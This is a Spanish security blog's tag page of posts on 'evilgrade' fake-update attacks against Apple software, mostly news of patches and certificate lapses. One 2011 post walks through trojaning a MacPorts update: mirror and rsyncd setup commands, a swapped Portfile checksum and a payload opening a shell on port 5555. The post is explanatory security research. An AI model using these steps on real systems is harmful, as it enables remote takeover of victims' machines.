Menú principal

Mostrando entradas con la etiqueta evilgrade. Mostrar todas las entradas
Mostrando entradas con la etiqueta evilgrade. Mostrar todas las entradas

lunes, 26 de mayo de 2014

Apple comete un error de principiantes y se le caduca un certificado de los servidores usados para Software Updates

La gestión de los certificados digitales de una compañía es una de las tareas fundamentales que deben llevarse a cabo. En Eleven Paths, dentro de los más de 100 plugins de auditoría que tenemos en nuestro sistema de Pentesting Persistente Faast hay dos de ellos orientados solo a gestionar esto. El primero avisa de todos los certificados digitales caducados, el segundo genera una alerta de seguridad de gestión si al certificado digital le quedan menos de 30 días para caducar, permitiendo que el administrador tenga tiempo suficiente de actuar antes de tener el problema.

En el caso de Apple no han sido tan previsores, y uno de los certificados digitales de uno de los servidores que se utilizan en Software Updates ha caducado. En concreto, de los cuatro servidores indicados por Apple que se utilizan, que son: swcdn.apple.com, swdownload.apple.com, swquery.apple.com y swscan.apple.com, ha sido el certificado de SWSCAN.APPLE.COM el que se les ha caducado, como puede verse aquí.

Figura 1: El certificado de swscan.apple.com caducado

El uso de certificados digitales correctos para la distribución de actualizaciones de seguridad es fundamental para evitar los ataques de Evil Grade que pueden permitir a un atacante, como se pudo ver que utilizaba el troyano de espionaje FinFisher, para introducir un troyano en la máquina de la víctima simulando ser una actualización correcta. Esto ha hecho que ahora Software Updates no funcione con ese servidor.

Figura 2: Error en OS X al actualizar

Debido a esto, Apple parcheó después de varios años su sistema de actualizaciones utilizando certificados digitales, pero parece que no han gestionado correctamente su renovación.

martes, 12 de marzo de 2013

Apple implementa HTTPs por defecto en App Store

El movimiento de Apple hacia HTTPs ya se veía venir. Hace ya algún tiempo fue implementado en iTunes, y con lo que consiguió proteger a los usuarios contra la censura de apps en sitios como China, donde las utilizadas para privacidad estaban bloqueadas. Ahora el paso se ha dado en la App Store, donde se aplicaban ataques clásicos de esquemas de man in the middle por culpa de no  cifrar correctamente el tráfico. Aquí algunos ejemplos:

- Robo de contraseñas de App Store: Como la petición se hace en HTTP, el atacante podría interceptar la petición y devolver un falso cuadro de login para robar la contraseña, tal y como se ve en el siguiente vídeo.


Esta credencial se podría utilizar para después descargarse el backup de iCloud con herramientas como ElcomSoft Phone Password Breaker.

- Intercambio de apps: El usuario solicita la app que quiere instalar por medio de su ID, pero si el hombre en medio cambia ese ID por el de otra app, la víctima acabaría instalado otra app dentro de su sistema.


Esto podría utilizarse para descargar software malicioso dentro de sistemas que se conectasen a redes WiFi comprometidas.

- Falsas actualizaciones: Podría lograrse manipular la página donde se muestran las actualizaciones disponibles en la App Store, y que el usuario atacado instalara una nueva app.


Por supuesto, también se podría sacar información de las apps instaladas de un usuario, o bloquearle la posibilidad de que se instale uan determinada app, como sucede en países que aplican la censura.

Con este movimiento, como dicen en Una al día, se acaban de una vez todos estos posibles ataques, algo que los usuarios de iOS agradecerán sin duda, pues no todo el mundo está teniendo cuidado de las redes que utiliza para actualizarse sus apps.

miércoles, 23 de noviembre de 2011

Troyanos del gobierno usan el bug de evilgrade en iTunes

Los troyanos gubernamentales se hicieron muy populares con el hackeo de anonymous a HBGary, donde se puedo comprobar como se estaban ofreciendo al gobierno soluciones como Task.B o 12 Monkeys para troyanizar máquinas. Después, con las revueltas de la primavera árabe se supo que el gobierno de Egipto estaba en realaciones para comprar FinFisher, otra solución de troyanos vendida públicamente a servicios de inteligencia.

FinFisher es una solución que tiene varios módulos y el llamado FinFly ISP, como informa The Register, muestra en un vídeo promocional, tal y como se se puede ver en la imagen siguiente, como se hace uso del bug de evilgrade en Apple iTunes reportado por Francisco Amato en el año 2008 y parcheado por Apple tres años después en la última actualización de iTunes 10.5.1

Figura 1: Captura del vídeo promocional en el que se explica cómo haer el evilgrade

Para poder hacer uso de este bug de evilgrade es necesario controlar los DNS mediante un ataque de man in the middle que se puede realizar de mil maneras distintas (Rogue WiFi AP, controlando los DNS del ISP, DHCP ACK Injector o un DNS Changer), pero lo que este tipo de ejemplo deja es claro la importancia de parchear un bug cuando éste es descubierto. Y vosotros, actualizar ya vuestro iTunes.

martes, 15 de noviembre de 2011

Apple actualiza en iTunes 10.5.1 un bug de evilgrade reportado en 2008 por el investigador Francisco Amato

Ayer puso en circulación Apple la nueva versión de iTunes 10.5.1 para Windows y para Mac OS X - y para Windows de 64 bits -. Mucho se hablará de esta actualización con respecto a iTunes Match, pero desde el punto de vista de la seguridad trae un parche para una única vulnerabilidad.

Esta vulnerabilidad, con el CVE-2008-3434 ha sido reportada por Francisco Amato, investigador Argentino, socio de Infobyte Security Research y miembro del comité organizador de la conferencia Ekoparty

La vulnerabilidad que parchea Apple es una de las especialidades de Francisco Amato, las técnicas de evilgrade y que ya fue reportado este fallo en el año 2008, en concreto, según conversaciones con el investigador, el 17 de Julio de 2008.

Una versión de iTunes vulnerable será susceptible de recibir actualizaciones de software falsas entregadas por un atacante que controle, mediante un ataque de man in the middle, la conexión de red. Esto le permitiría, por ejemplo, ejecutar un software malicioso o un troyano para obtener una shell en la máquina de la víctima.

Figura 1: Evilgrade Framework

Para realizar este tipo de ataques, Francisco Amato publicó tiempo ha Evilgrade Framework, un entorno de trabajo que permite realizar estos ataques, y del que publicamos un artículo aquí en el que se mostraba cómo realizar un ataque evilgrade con los MacPorts para ownear Mac OS X. También Apple parcheó en Mac OS X 10.6.6 un bug de evilgrade en PackageThis. Desde aquí os recomendamos actualizar lo antes posible a iTunes 10.5.1.

martes, 12 de julio de 2011

Owneando un Mac OS X a través de Evilgrade a MacPorts

Francisco Amato es un investigador de seguridad argentino de la empresa Infobyte que saltó a la fama mundial por sus trabajos en la técnica hacking conocida como Evilgrade. El objetivo de un atacante que hace uso de esta técnica es engañar al equipo de víctima haciéndole creer que hay una actualización pendiente para algún software vulnerable instalado en la máquina. Evidentemente, el atacante no entregará una actualización, sino un software malicioso que le permitirá tomar control de la máquina de víctima.

Francisco Amato presentado Evilgrade en una Ekoparty

Para entender mejor el funcionamiento de este ataque, vamos a repasar cómo se actualiza el software hoy en día en la mayoría de los programas. La idea es que el programa, nada más ser ejecutado, realiza una conexión a los servidores del fabricante, buscando nuevas actualizaciones. Si hay alguna actualización disponible, se le ofrecerá al usuario - o no si está configurado para hacerlo de forma automática - la opción de instalar la nueva versión que será descargada y ejecutada por el propio programa instalado en la máquina.

Si un atacante intercepta esta petición por medio de un ataque Man in the Middle, puede responder indicando que hay una actualización pendiente y entregar un troyano en lugar de la actualización. Si el sistema de actualizaciones ha sido correctamente comprobado, el software no debería ser ejecutado si no viene firmado digitalmente por el fabricante, pero sin embargo hay mucho software que no hace esto.

Un ejemplo con MacPorts para Mac OS X

En este ejemplo, Francisco Amato realiza la demostración con MacPorts para Mac OS X, un software muy común para la distribución de paquetes open sorce que es vulnerable a los ataques de Evilgrade. A grandes rangos el MacPorts utiliza como sistema de actualizaciones lo siguiente:

a) Un servidor rsync para la actualización de su repositorio.

b) Los paquetes se distribuyen por http/ftp.

c) Antes de instalar un nuevo paquete verifica el md5/sha1 del repositorio local con el nuevo archivo y si es válido instala el paquete.

Evilgrade en MacPorts para Mac OS X

Para realizar el ataque en este entorno se deben seguir las siguientes tareas:

1) Preparar el servidor de rsync en el equipo del atacante, que en este ejemplo tiene la dirección IP 192.168.10.133, con todo repositorio válido de rsync.macports.org. Para ello los pasos son:

mkdir -p /dev/evilgrade/release/ports
mkdir -p /dev/evilgrade/release/base
#Obtenemos la información necesaria
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/ports/ /dev/evilgrade/release/ports/
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/base/ /dev/evilgrade/release/base/

2) Se configura el archivo/etc/rsyncd.conf:

max connections = 20
log file = /var/log/rsync.log
timeout = 300
[release]
comment = Stuff
path = /dev/evilgrade/release/
read only = yes
list = yes
uid = nobody
gid = nogroup
# auth users = craig
# secrets file = /etc/rsyncd.secrets
hosts allow = 192.168.10.0/24 #cambiar por la subnet correspondiente.

3) Arrancar el servicio rsync:

/etc/init.d/rsync start

4) Configurar evilgrade para atacar a un paquete concreto

En este ejemplo se va a atacar el paquete serf dentro de la categoría www. La idea es que cuando se instale este paquete, al mismo tiempo se deje una shell abierta en el puerto 5555. Para ello se tiene que editar en el repositorio el archivo

/dev/evilgrade/release/ports/www/serf/Portfile

y cambiar el checksums md5 por el hash de nuestro payload/agente que se encuentra en

/evilgrade/agent/serf-0.7.2.tar.bz2

También se podría preparar este repositorio para que todos los porfiles apunten a un mismo paquete con el mismo md5, con lo que cualquier instalación por port infectaría a la victima.

Figura 1: Hash md5 del fichero a ejecutar

Este agente tiene una línea, concretamente la 132, en el fichero Makefile.in para dejar una shell en el 5555

4) En el equipo de la víctima, con la dirección IP 192.168.10.42, es necesario hacer un ataque Man in the middle para cambiar la resolución de los dominios de rsync.macports.org y serf.googlecode.com. Para este ejemplo, en lugar de hacer un ataque Man in the middle, se ha modificado el fichero /etc/hosts con la siguiente configuración:

192.168.10.133 serf.googlecode.com rsync.macports.org

5) Se levanta el framework de evilgrade en el equipo del atacante 192.168.10.133

6) En el equipo de la victima se solicita una actualización del paquete serf

Figura 2: sudo port selfupdate y sudo port install serf

7) Se puede verificar que el atacante esta recibiendo el requerimiento por rsync leyendo el archivo de log /var/log/rsync.log

Figura 3: Log en servidor rsync

Y luego se puede comprobar el request en el framework de evilgrade:

Figura 4: Log en Evilgrade framework

8) Por ultimo el atacante se conecta a la shell abierta

Figura 5: Shell obtenida en el puerto 5555

Con esta prueba se demuestra que si un atacante puede realizar un ataque de Man in the middle, DNS Poissoning, o un simple DHCP spoofing para añadir un nuevo servidor DNS a la red, puede instalar cualquier programa en un equipo Mac OS X que utilice MacPorts, debido a que no hay una comprobación robusta del software a instalar.

Para hacer este ataque es necesario descargar el agente y el módulo de MacPorts para Evilgrade, y descomprimirlo en el directorio raíz de evilgrade. También puedes descargar el framework Evilgrade desde Infobyte y además tienes un artículo sobre cómo detectar ataques Man in the middle en tu Mac OS X que te puede ser de ayuda en redes inseguras.

viernes, 7 de enero de 2011

Actualiza tu Mac OS X Snow Leopard a la versión 10.6.6

Como si de los Reyes Magos se hubieran acordado de los usuarios de Mac OS X Snow Leopard, ayer, día 6 de Enero de 2011, Apple ha sacado la actualización a Mac OS X 10.6.6. Entre las novedades al uso de nuevas funcionalidades hay, por supuesto, una vulnerabilidad de seguridad de las gordas que, por supuesto, una vez conocida por todos, debe ser parcheada cuanto antes.

La vulnerabilidad, reconocida por Apple, lleva el código CVE-2010-4013 y tiene un nivel crítico ya que un atacante podría ejecutar código arbitrario en el sistema operativo. La vulnerabilidad es del tipo de Man In The Middle en el software de PackageKit, es decir, en el gestor de actualizaciones. Un atacante, haciendo uso de la no comprobación de firmas digitales por parte de este programa, podría realizar un ataque de evilgrade y ejecutar cualquier programa en el sistema Mac OS X de la víctima.

Las técnicas de Evilgrade salieron a la luz pública gracias a Francisco Amato, un investigador de seguridad de la empresa Infobyte, que incluso ha publicado un framework - ISR-Evilgrade 2.0 - para realizar este tipo de ataques en aquellos programas vulnerables que ejecutan actualizaciones de seguridad sin comprobar correctamente que la fuente que les entrega el paquete de actualización es la auténtica. Conocida esta vulnerabilidad es recomendable actualizar tu Mac OS X a la versión 10.6.6 cuanto antes.

Entrada destacada

Proteger tu cuenta de Google y de Gmail con Latch Cloud TOTP #Latch #Gmail #Google

La semana pasada se liberó la nueva versión de Latch y nuestro compañero Chema Alonso hizo un repaso de todo ello en su artículo Latch...

Otras historias relacionadas

Entradas populares